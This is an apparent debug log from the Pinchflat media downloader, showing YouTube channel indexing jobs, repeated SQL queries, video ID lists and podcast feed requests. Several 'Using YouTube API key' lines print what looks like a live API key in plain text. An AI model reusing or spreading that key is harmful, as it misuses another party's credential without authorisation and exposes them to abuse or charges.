m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [38, "ZtyjAvMIzvs", "ZoadJmKmyVI", "wtPYQdWPea0", "iY_9XEC6mq4", "BWADrQ3CQV4", "XunRKZR1ESc", "dfKW4ZBOaW4", "pD_HukFdNV8", "FJ6nxXlYZac", "FSTfYrqaNgc", "vPg59pmB1Nc", "l5Fl0XIxKfM", "ARwO8ApGMpU", "e7YtjflOT0I", "kl6AlqzF0N0", "VdPv4d0SYvc", "82Lo2Wf3TXM", "qS3cA_cZngc", "g4pJ-Mw53aU", "lbK38r-gV2Q", "U4OyMqmXqpo", "7tASAaMn9hA", "m1miWJTudv4", "VqkxBi1sBG0", "4OuM5mLWQq4", "sgMMljY3oFA", "tXy9epkxt70", "4CLC3yyK09w", "u0OSIl2-53w", "ATDYVHdtpEc", "zDyTHWr1N50", "fQGsTtqzB3Q", "qyCvEerjhnU", "WmFiNcw57o8", "rxhKvzxJgRk", "v3QssL74wA8", "5nKwdMKglm4", "D6xw9bxy3Qg", "rq0urtj1qaM", "qBdYNLq9VCE", "Ibi0y39Aiac", "5Q7ZKetopT4", "NO1V5fR0uH8", "QALB7C5SBSU", "Wq_iFeRsqTo", "3ro8TFTmYyA", "3Oa-9oelGWM", "ldsSZydyJds", "FQRm3QbUWG0", ...] 15:57:45.240 [debug] QUERY OK source="media_items" db=1.4ms idle=89.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [38] 15:57:45.240 [debug] QUERY OK source="tasks" db=0.1ms idle=90.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799876, 38, ~U[2026-02-10 21:57:45Z], ~U[2026-02-10 21:57:45Z]] 15:57:45.241 [info] {"args":{"id":38},"id":3799837,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":92166,"event":"job:stop","queue_time":523526,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:47.150 [info] {"args":{"id":41},"id":3799838,"meta":{},"system_time":1770760667150786314,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:47.151 [debug] QUERY OK source="sources" db=0.1ms idle=272.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [41] 15:57:47.151 [debug] QUERY OK source="settings" db=0.1ms idle=272.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:47.151 [debug] QUERY OK source="media_profiles" db=0.0ms idle=273.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:57:47.151 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:47.151 [debug] Fetching recent media IDs from YouTube API for playlist: UUBPQEmXGMQ94cVvWwNaJYvA 15:57:47.151 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:47.151 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:57:47.359 [debug] QUERY OK source="media_items" db=0.5ms idle=207.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [41, "oi7b2R-UtzQ", "UhiAajLeMP4", "xUZ5SUZJLpI", "NuGLHRLsQMo", "T0pORsilgsA", "XrouZ_x_bCM", "Wc_717YgMD4", "XCpIQPZpRzY", "JCVcU_lipA8", "En6vq_4kncQ", "P_Fx911Mhz0", "HLmwXcg4SFY", "PC8SSpITSn4", "t-1kAyLif_Q", "ZNBdvuYDYig", "BET6j3gkxvM", "-dz0uGjJTXM", "n0EVf85B-nE", "eEi3gMjv6fo", "M0dCAV8ZLig", "_CJu60_Y43U", "FAw6YBA6Xp4", "i6b-p3QwgOs", "w7hhs98tplk", "eyedA_SXkgg", "DQWK28ug2Hg", "_mBggwjnhJE", "CjnexVMu0Kc", "hnMLJmbkf9c", "aqIf7GyL0wM", "eTDZKMNQ8YE", "h7nAUIq4c_A", "KMWFGSFRx50", "PHK2NuPSKg0", "f2uvTaavUR4", "ZEvVviGx8Bo", "MVCFQK-T0Aw", "fWQVSlFLQmA", "b9u77EHzDuo", "B7etbk9-gW8", "jRwPaXJTiFA", "3F2jfrzRu9A", "9yetu4LD2KY", "lnEFoY6fmQU", "frnl_o6OMOI", "vuK28mWFYnI", "CmEUBiuZwcM", "5SKQVu1LEdM", "j5fvWR98ldI", ...] 15:57:47.360 [debug] QUERY OK source="media_items" db=0.5ms idle=208.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [41] 15:57:47.360 [debug] QUERY OK source="tasks" db=0.1ms idle=208.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799877, 41, ~U[2026-02-10 21:57:47Z], ~U[2026-02-10 21:57:47Z]] 15:57:47.361 [info] {"args":{"id":41},"id":3799838,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":210161,"event":"job:stop","queue_time":525993,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:48.152 [info] {"args":{"id":5},"id":3799839,"meta":{},"system_time":1770760668152717784,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:48.153 [debug] QUERY OK source="sources" db=0.2ms idle=792.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 15:57:48.153 [debug] QUERY OK source="settings" db=0.0ms idle=792.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:48.153 [debug] QUERY OK source="media_profiles" db=0.0ms idle=785.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:57:48.153 [debug] QUERY OK source="settings" db=0.1ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:48.153 [debug] Fetching recent media IDs from YouTube API for playlist: UUWFKCr40YwOZQx8FHU_ZqqQ 15:57:48.154 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:48.154 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:57:48.294 [debug] QUERY OK source="media_items" db=0.7ms idle=140.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5, "at1HS1CNhe4", "pdrkOatgS_A", "fZX9-DTtDu8", "DgIv5AL8ek0", "djQQcn82_-M", "8lgb4yJ4apU", "loHSfZtIZbE", "nb0MwOXlSZ4", "o_zc6xASQpo", "pwCuzh_HxH8", "KovIZ07Dyx0", "JlQ_djYS0Dg", "1ufoYAQIhu4", "CctFxxf5ApY", "3cZZg1F4RCM", "MxIotxKBjVs", "6HPf_fvPOo4", "TlMHxNDd1X0", "M6yt1wfLvDM", "Mlh6NXtaT_o", "EQMJhxyBsBo", "u9JLKYF71jE", "Npy2CUZZUng", "c1Q3m4x1bJc", "RCFsP8-KGbA", "I1UB7k60dAU", "0p_LmbcqEV4", "8rWtLqyQm6E", "ApwhFXN8bJ8", "3NPHV-X_HvY", "cu0_ZEIT5YU", "nUl4MdDnl1s", "T8TCN0aYs2s", "hgWUxQUlvKs", "mmRqMuMx5VE", "TyKtFYzJBbg", "6vmTf1PEcF8", "GlJaxmUGwr8", "u78CMLm10fU", "vCqX0ZkoPMU", "U4f0LqqYqNU", "S1vsk6Liubo", "c-H0zyWubLc", "WzdR8f2LzwM", "FhV_flNpQOs", "826O9YGrGCg", "i0SCgfej3w0", "w3QlyvY600Q", "O2hSlsvB8nA", ...] 15:57:48.297 [debug] QUERY OK source="media_items" db=2.5ms idle=141.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 15:57:48.299 [debug] QUERY OK source="tasks" db=0.2ms idle=1.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799878, 5, ~U[2026-02-10 21:57:48Z], ~U[2026-02-10 21:57:48Z]] 15:57:48.299 [info] {"args":{"id":5},"id":3799839,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":146552,"event":"job:stop","queue_time":539144,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:53.157 [info] {"args":{"id":1},"id":3799840,"meta":{},"system_time":1770760673157812417,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:53.158 [debug] QUERY OK source="sources" db=0.1ms idle=1279.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:57:53.158 [debug] QUERY OK source="settings" db=0.1ms idle=1280.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:53.158 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:57:53.159 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:53.159 [debug] Fetching recent media IDs from YouTube API for playlist: UUXuqSBlHAE6Xw-yeJA0Tunw 15:57:53.159 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:53.159 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:57:53.235 [debug] QUERY OK source="media_items" db=0.6ms idle=76.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "aXZ-NfMu60Q", "RTZlj4mmpNE", "o4e-Kt02rfc", "sRUupu5iudw", "9bLNw6Zb_SQ", "4gqNRGucp50", "FFtr2vNwDNU", "cnNucwTyy8w", "pRLn1pingDM", "xKIFCdPHeJU", "hxc8RgchpBs", "OT_iyvOy0Tk", "4Ps-JDyimJw", "2I9Qk0sB68o", "2psXxetNpoo", "u8Xyx2L4Nlg", "GODPh96F0M0", "sPU6wVz2iE8", "KeLmi62DmjU", "eNb55ZwnCRc", "wZZf6LM3wAU", "wcI-lqMwNSY", "omCWNO7Jbnw", "qklfd81ceeY", "VJqMPFNP4to", "-nTm_xZY3o4", "Px117so_Mww", "QFtCeGjKOxU", "Mo-0nz6Mlig", "iBt1TLBFTRs", "pdM3d0DRY8U", "bG68OBQ3x9Y", "MJr40qys1g0", "FV8iLYP54XQ", "rmiB2NnXgPU", "9rnjawJ_QDc", "ckiGgyCB88U", "URCnFcSypKc", "wFbjoKV876M", "hLnPciB8cGs", "433kipkEERY", "2P2G4b8V2Eg", "IJWvYvCJ0os", "iRvyRo5Fk0o", "oznSYLMrSt4", "3yO0m8X0xn4", "KyoXLbfpZfg", "GLGK0GKexds", "i_cIhvzoKEM", ...] 15:57:53.245 [debug] QUERY OK source="media_items" db=9.4ms idle=77.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 15:57:53.264 [debug] QUERY OK source="tasks" db=0.9ms idle=1.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799879, 1, ~U[2026-02-10 21:57:53Z], ~U[2026-02-10 21:57:53Z]] 15:57:53.264 [info] {"args":{"id":1},"id":3799840,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":106385,"event":"job:stop","queue_time":469349,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:57.599 [info] {"source":"oban","duration":11651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:00.988 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:58:27.608 [info] {"source":"oban","duration":7780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:47.151 [info] GET /sources/d8c11d05-824d-4284-b36d-fabb788a0b82/feed.xml 15:58:47.151 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "d8c11d05-824d-4284-b36d-fabb788a0b82"} Pipelines: [:maybe_basic_auth] 15:58:47.152 [debug] QUERY OK source="sources" db=0.2ms idle=944.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["d8c11d05-824d-4284-b36d-fabb788a0b82"] 15:58:47.155 [debug] QUERY OK source="media_items" db=2.7ms idle=274.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [5, 2000] 15:58:47.156 [debug] QUERY OK source="source_metadata" db=0.0ms idle=277.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [5] 15:58:47.156 [debug] QUERY OK source="media_metadata" db=0.1ms idle=277.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564175] 15:58:47.156 [info] Sent 200 in 4ms 15:58:57.616 [info] {"source":"oban","duration":7770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:00.989 [info] {"source":"oban","duration":152,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:59:27.627 [info] {"source":"oban","duration":10533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:46.445 [info] GET /sources/ddb05a95-3284-467b-8e82-eb2e6e446d3c/feed.xml 